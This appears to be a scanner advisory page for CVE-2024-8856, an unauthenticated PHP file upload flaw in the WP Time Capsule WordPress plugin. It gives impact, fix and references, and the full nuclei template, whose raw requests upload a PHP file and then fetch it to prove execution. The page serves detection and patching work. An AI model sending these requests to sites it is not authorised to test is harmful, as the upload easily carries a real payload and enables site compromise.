CVE-2024-8856· CWE-434
WP Time Capsule Plugin - Remote Code Execution
The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the the UploadHandler.php file and no direct file access prevention in all versions up to, and including, 1.22.21. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
Unauthenticated attackers can upload arbitrary PHP files to the server through missing file type validation, enabling remote code execution and complete WordPress site compromise.
Fix
Update WP Time Capsule plugin to a version later than 1.22.21 that addresses the arbitrary file upload vulnerability and implements proper file type validation and direct file access prevention.
How to confirm it
Send: POST /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php
Positive when: contains "url\":\"" and "\"files\":" and "\"deleteType\":"
Send: GET /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/{{filename}}.php
Positive when: contains "{{marker}}"Run it with nuclei: nuclei -id CVE-2024-8856 -u <target>
The full check
id: CVE-2024-8856
info:
name: WP Time Capsule Plugin - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the the UploadHandler.php file and no direct file access prevention in all versions up to, and including, 1.22.21. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
impact: |
Unauthenticated attackers can upload arbitrary PHP files to the server through missing file type validation, enabling remote code execution and complete WordPress site compromise.
remediation: |
Update WP Time Capsule plugin to a version later than 1.22.21 that addresses the arbitrary file upload vulnerability and implements proper file type validation and direct file access prevention.
reference:
- https://hacked.be/posts/CVE-2024-8856
- https://plugins.trac.wordpress.org/browser/wp-time-capsule/trunk/wp-tcapsule-bridge/upload/php/UploadHandler.php
- https://plugins.trac.wordpress.org/changeset/3188325/
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3153289%40wp-time-capsule&new=3153289%40wp-time-capsule&sfp_email=&sfph_mail=
- https://www.wordfence.com/threat-intel/vulnerabilities/id/fdc2de78-5601-461f-b2f0-c80b592ccb1b?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-8856
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-8856
cwe-id: CWE-434
epss-score: 0.94135
epss-percentile: 0.99848
metadata:
verified: true
max-request: 2
fofa-query: body="/wp-content/plugins/wp-time-capsule/"
publicwww-query: "/wp-content/plugins/wp-time-capsule/"
tags: cve,cve2024,intrusive,file-upload,wordpress,wp-plugin,wp,wp-time-capsule,rce,vkev,vuln
variables:
marker: "{{randstr}}"
filename: "{{randbase(2)}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data;boundary=---------------------------26670583928903275361770089688
-----------------------------26670583928903275361770089688
Content-Disposition: form-data; name="files"; filename="{{filename}}.php"
Content-Type: text/php
<?php echo base64_decode("{{base64(marker)}}"); ?>
-----------------------------26670583928903275361770089688--
matchers:
- type: word
part: body
words:
- 'url":"'
- '"files":'
- '"deleteType":'
condition: and
internal: true
- raw:
- |
GET /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "{{marker}}"References
- https://hacked.be/posts/CVE-2024-8856
- https://plugins.trac.wordpress.org/browser/wp-time-capsule/trunk/wp-tcapsule-bridge/upload/php/UploadHandler.php
- https://plugins.trac.wordpress.org/changeset/3188325/
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3153289%40wp-time-capsule&new=3153289%40wp-time-capsule&sfp_email=&sfph_mail=
- https://www.wordfence.com/threat-intel/vulnerabilities/id/fdc2de78-5601-461f-b2f0-c80b592ccb1b?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-8856
Use this check only on systems you are authorised to test. Where the data comes from